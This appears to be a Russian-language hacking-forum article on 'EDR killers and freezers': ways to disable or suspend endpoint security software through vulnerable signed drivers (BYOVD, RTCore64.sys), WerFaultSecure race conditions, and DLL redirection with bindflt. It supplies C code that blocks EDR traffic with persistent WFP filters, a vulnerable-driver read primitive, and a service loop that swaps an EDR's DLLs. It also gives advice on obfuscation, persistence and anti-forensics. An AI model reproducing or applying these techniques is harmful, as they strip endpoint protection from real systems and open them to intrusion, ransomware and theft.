Статья EDR killers/freezers

Admin

Администратор

EDR killers/freezers​


EDR давно являются основой защиты, и соответственно это вызывает спрос на их быстрое и эффективное устранение к примеру киллеры, которые полностью отключают или выгружают процессы безопасности через доступ к ядру и морозильники которые замораживают их в отложенном состоянии, не вызывая алертов на прекращение. Успех таких инструментов вытекает из их способности обходить даже проверки целостности ядра и рантайм детекты.
Существуют разные техники от BYOVD атак с уязвимыми драйверами до user mode методов заморозки EDR, работающие с WER для состояния гонки и заморозки AV/EDR на произвольный срок. Давайте же разберемся подробнее как это работает изнутри и в как достигается вырубание защит которые многим портят жизнь.

EDR killers техники полного отключения
Киллеры предназначенны для полного отключения/выгрузки процессов систем обнаружения и реагирования на конечных точках, и они делают это в основном через BYOVD, где используется загрузка уязвимого подписанного драйвера для получения доступа в kernel mode. В основе лежит эксплуатация драйверов с уязвимостями, Windows загружает их из за валидной цифровой подписи, несмотря на истекшие сертификаты или отсутствие проверок на список отзыва сертификата, что даёт обход проверки подписей драйверов и защиты целостности памяти.

Процесс начинается с регистрации драйвера как сервиса, с типом запуска по требованию, чтобы обеспечить его загрузку в ядро и устойчивость к перезагрузкам, файл драйвера маскируется атрибутами hidden и system, а его временные метки копируются с системных ntdll для смешивания с окружением. Далее, user mode компонент открывает хэндл на устройство драйвера и отправляет IOCTL запросы для KillProc, передавая PID процессов, что приводит к вызову ZwOpenProcess с флагом PROCESS_TERMINATE и последующему ZwTerminateProcess с статусом 0, полностью игнорируя PPL или другие user mode защиты. Чтобы справиться с возможными гонками или возобновлением процессов, создается килл цикл с интервалом в 1 секунду, где процессы перечисляются, их имена хэшируются и сравниваются с заранее высчитанным списком хэшей для EDR агентов.

Обфускация делается через кастомный шифр на базе словаря из 256 слов, где каждый байт драйвера кодируется словом по индексу, делая пейлоад текстом около 4 бит/байт, это защищает от анализа энтропии и выглядит как безопасные данные, пока не декодируется в рантайме. Декодирование происходит в памяти, парсер токенизирует строку по словам и ищет совпадения в словаре/собирает байты в буфер, реконструируя PE файл драйвера с MZ заголовком, после чего он пишется на диск без следов в логах.

Иньекция реализуется через маскировку под системные утилиты где пейлоад декодируется и запускает загрузку драйвера, позволяя выполнять kernel операции под видом нормальной активности, без необходимости в классическом process hollowing или DLL injection, потому что IOCTL дает прямой доступ.
Например в пейлоаде на базе Go, ресурсы типа BIN декриптуются только при наличии пароля из командной строки, распаковываясь только для выполнения в памяти, что избегает дисковых артефактов и статического сканирования.

Риски включают генерацию алертов от прерывания в журнале событий или от поведенческого мониторинга, но это работает, потому что действия в режиме ядра предшествуют хукам в user mode, и EDR не видит вызовы Zw функций, обходя API мониторинг.

Отсутствие CRL проверок и исключения для драйверов до 2015 года позволяют загружать невалидные сертификаты с таймстампом от Thawte, делая их вечно валидными, а список блокировки уязвимых драйверов реагирует постфакт и покрывает только известные хэши, оставляя окно для новых эксплойтов. Часто в реализацию добавляется до 3 попыток на ZwOpenProcess, чтобы справиться с временными сбоями, и минимальная валидация буфера на размер >=24 байт без проверки подключения, что упрощает крафт входных данных.

Для выгрузки EDR драйверов IOCTL вызывает анхукинг ядра, где уязвимость которая позволяет манипулировать таблицами процессов и аллокацией памяти. Персистенция обеспечивается через хуки на уровне ядра, где драйвер остается в памяти, детектируемый только через driverquery или WinObj, но без реального логирования в самом драйвере. Несмотря на риски нестабильности системы от внезапного килла, которые могут привести к BSOD, если EDR переплетён с другими компонентами ядра, техника эффективна потому что обходит HVCI.

Эволюция добавляет декрипт в памяти для поэтапных пейлоадов, где DLL инжектятся через уязвимые драйверы в бинарники WD, обходя файловые проверки целостности. Ещё один аспект использование хардкодед IOCTL кодов для прямых вызовов ядра, где точка входа драйвера модифицирует BugCheckParameter2 для анти анализа, усложняя реверс. Киллеры сочетают эксплуатацию драйверов с выполнением в памяти, чтобы достичь тихого завершения, в случае даже если алерт сгенерирован то атака уже завершена до детекта.

EDR freezers заморозка без убийства
EDR freezers предлагают более скрытный подход к обходу обнаружения и реагирования, где процессы безопасности не убиваются, а приостанавливаюся в замороженном состоянии, чтобы не генерировать алерты на полное отключение, это работает через user mode эксплойты без доступа к ядру. В отличие от киллеров, заморозка полагается на доверенные компоненты винды, создавая состояние гонки для бессрочной приостановки процессов.

Основной фокус на PoC EDR Freeze, который автоматизирует заморозку принимая PID цели и длительность в миллисекундах и работает на Windows 11 24H2 успешно. Процесс начинается с запуска WerFaultSecure.exe как PPL процесса с флагом CREATE_SUSPENDED, чтобы достичь высокий уровень защиты и доступ к защищённым EDR агентам, обходя PPL без внешних драйверов. Далее передаются параметры командной строки, заставляя WerFaultSecure вызвать MiniDumpWriteDump с флагами MINI_DUMP_NORMAL, что автоматически приостанавливает все потоки процесса для создания согласованного снимка памяти.

Важный момент, мониторинг состояния тредов через OpenThread с THREAD_QUERY_INFORMATION и QueryThreadInformation, где цикл с интервалом 10 мс проверяет счётчик заморозки на значение >0, подтверждая, что дамп операция приостановила цель. Как только это детектировано, вызывается NtSuspendProcess на хэндл WerFaultSecure, полученный через OpenProcess с PROCESS_SUSPEND_RESUME, что замораживает сам дампер и предотвращает возобновление тредов EDR, оставляя его в заморозке на заданное время. Чтобы справиться с состоянием гонки, реализован цикл до 5 попыток на запуск WerFaultSecure, с валидацией хэндла и минимальным чеком ошибок.

В свежих вариантах добавляется кража токена от системного процесса с SECURITY_IMPERSONATION_LEVEL, чтобы повысить привилегии и обойти UAC или PPL без разрешения. По сравнению с киллером, морозильник тише, потому что не генерирует события завершения процессов, но он временный, приостановка настраиваемая от 1000 мс, с автоматическим снятием паузы по таймауту, чтобы минимизировать нестабильность системы.
Старые подходы к морозильникам используют приостановку процесса для выполнения шеллкода, создание процесса в CREATE_SUSPENDED, анхукинг Ntdll через копирование чистой .text секции из памяти, затем WriteProcessMemory для инжекта шеллкода и изменение RIP на точку входа. В морозильниках перечисление фильтрует по имени, приостановка тредов с SuspendThread, затем прямые syscalls, исполняя шеллкод в удаленном контексте без возобновления всего процесса.

Существует комбинация с иньекцией в пул потоков, использование TpAllocWork и TpPostWork для распределения кода в рабочие потоки, где приостанавка применяется выборочно к мониторам EDR, не затрагивая системные потоки.
В некоторых реализациях добавляется анти форензика, очистка дамп файлов после приостановки, и маскировка под отчёт об ошибках через спуф логов событий. Для обработки обхода PPL в EDR морозильниках используется кастомный модуль PPLHelp, где RunAsPPL с уровнем WinTCB эмулируется, давай возможность WerFaultSecure работать на уровне выше user mode.

Даже несмотря на скрытность, морозильники уязвимы к рантайм мониторингу, но в user mode они избегают проверки целостности ядра, делая их более предпочтительными для точечных атак. Итого такие морозильники сочетают гонку данных с выполнением в памяти, где шеллкод может исполняться в окне приостановленного EDR, достигая уклонения без артефактов на диске.

Разбор механики
В этом разделе разберём внутреннюю кухню кодов для EDR киллеров и фризеров. Для киллеров возьмём подход с BYOVD, где уязвимый драйвер загружается для доступа к ядру, перечисление процессов через снапшот и килл через IOCTL или патч памяти, с обходом PPL через модификацию _EPROCESS. В примере это не прямой килл, а блокировка трафика через WFP, что работает тише: код перечисляет процессы, конвертирует путь в appId и добавляет персистентный фильтр на исходящие соединения в слоях ALE_AUTH_CONNECT. Ниже фрагмент, где после снапшота и совпадения с массивом edrProcess настраивается фильтр с приоритетом и блокировкой, добавляя провайдер для постоянного применения.
C:
void BlockEdrProcessTraffic() {
    DWORD result = 0;
    HANDLE hEngine = NULL;
    HANDLE hProcessSnap = NULL;
    PROCESSENTRY32 pe32 = {0};

    result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
    if (result != ERROR_SUCCESS) {
        return;
    }
 
    EnableSeDebugPrivilege();

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        return;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hProcessSnap, &pe32)) {
        CloseHandle(hProcessSnap);
        return;
    }

    do {
        if (isInEdrProcessList(pe32.szExeFile)) {
            HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
            if (hProcess) {
                WCHAR fullPath[MAX_PATH] = {0};
                DWORD size = MAX_PATH;
                FWPM_FILTER_CONDITION0 cond = {0};
                FWPM_FILTER0 filter = {0};
                FWP_BYTE_BLOB* appId = NULL;
                UINT64 filterId = 0;
                
                QueryFullProcessImageNameW(hProcess, 0, fullPath, &size);
                CustomFwpmGetAppIdFromFileName0(fullPath, &appId);

                filter.displayData.name = filterName;
                filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
                filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
                filter.action.type = FWP_ACTION_BLOCK;
                UINT64 weightValue = 0xFFFFFFFFFFFFFFFF;
                filter.weight.type = FWP_UINT64;
                filter.weight.uint64 = &weightValue;
                cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
                cond.matchType = FWP_MATCH_EQUAL;
                cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
                cond.conditionValue.byteBlob = appId;
                filter.filterCondition = &cond;
                filter.numFilterConditions = 1;

                // provider and filter for IPv4/IPv6
                FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
                filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
                FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);

                FreeAppId(appId);
                CloseHandle(hProcess);
            }
        }
    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);
    FwpmEngineClose0(hEngine);
}

Этот код обходит PPL через SeDebugPrivilege и WFP на уровне ядра, гонка условий с хэндлами минимизируется свежестью снапшота, но в некоторых вариантах еще добавляется цикл на 100 мс для динамики. Для чистого киллера выбор драйвера через макрос позволяет переключать уязвимые драйверы для операций чтения/записи, что используется для завершения через отключение колбэков.

C:
#define VULN_DRIVER RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")

NTSTATUS ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
    // IOCTL for read via vulnerable driver
    return DeviceIoControl(driverHandle, IOCTL_READ, &input, sizeof(input), Buffer, Size, NULL, NULL);
}

VOID CloseDriverHandle_RTCore() {
    CloseHandle(driverHandle);
}
Здесь после загрузки драйвера как сервиса, похоже на Fwpm но на уровне ядра, вызываются операции чтения/записи для патча защиты _EPROCESS, обхода PPL и убийства через ZwTerminateProcess в ядре. Гонка условий с хэндлами решается через цикл до 3 попыток. Иногда используют прямые syscalls, ID syscall из ntdll, перезапись модуля на .text EDR DLL в NOP.

Для морозильников пример использует бинд связь через bindfltapi для редиректа загрузки DLL, приостановку запуска в цикле, предотвращение перезапуска без убийства запущенного процесса. Код загружает DLL, создаёт бинд с BfSetupFilter, ждёт IsProcessRunning и удаляет по выходу, с созданием сервиса для персистенции.

Код:
typedef HRESULT(*PtrCreateBindLink)(DWORD, DWORD, LPCWSTR, LPCWSTR, DWORD, PVOID);
typedef HRESULT(*PtrRemoveBindLink)(DWORD, LPCWSTR);

PtrCreateBindLink CreateBindLink = NULL;
PtrRemoveBindLink RemoveBindLink = NULL;

int wmain(int argc, wchar_t* argv[]) {
    HMODULE hBindflt = LoadLibraryW(L"bindfltapi.dll");
    if (hBindflt) {
        CreateBindLink = (PtrCreateBindLink)GetProcAddress(hBindflt, "BfSetupFilter");
        RemoveBindLink = (PtrRemoveBindLink)GetProcAddress(hBindflt, "BfRemoveMapping");
    }

    if (IsRunningAsService()) {
        std::wstring fakeLib = argv[1];
        std::wstring originalLib = argv[2];
        std::wstring edrProcess = argv[3];
        do {
            while (!IsProcessRunning(edrProcess)) Sleep(10);
            CreateBindLink(0, CREATE_BIND_LINK_FLAG_NONE, originalLib.c_str(), fakeLib.c_str(), 0, NULL);
            while (IsProcessRunning(edrProcess)) Sleep(10);
            RemoveBindLink(0, originalLib.c_str());
        } while (TRUE);
    } else {
        // Parse args for create/remove
        if (argc == 6) {
            // Ensure dir copy patch create service
        } else if (argc == 2) {
            RemoveBindLink(0, argv[1].c_str());
        }
    }
}

Это обход PPL через системный сервис, гонка условий через цикл Sleep(10), но для заморозки WerFaultSecure запускается с CREATE_SUSPENDED, параметры для MiniDumpWriteDump приостановка тредов, затем NtSuspendProcess на дампер. В эту реализацию можно добавить корректировку токена с SeTcbPrivilege для PPL. Этапы выполнения: эскалация - запуск приостановленного WerFault - мониторинг гонки условий - приостановка дампера - опс - возобновление. Возможные варианты это пул тредов TpAllocWork для выборочной приостановки, прямые syscalls NtSuspendThread без хуков. В целом коды сочетают LOTL с операциями в памяти для обхода детекции/мониторинга в EDR.

В итоге, EDR киллеры являются эффективными инструментами для полного отключения защитных систем, давая kernel доступ для прекращения процессов и обходя PPL, в то время как морозильники дают скрытую альтернативу с заморозкой через условия гонки, приостановкой потоков без алертов на килл и поддерживая временные окна для операций. Это направление движется с фокусом на выполнение в памяти, делает его эффективным против EDR, но нужно понимать и оценивать нестабильность этих инструментов.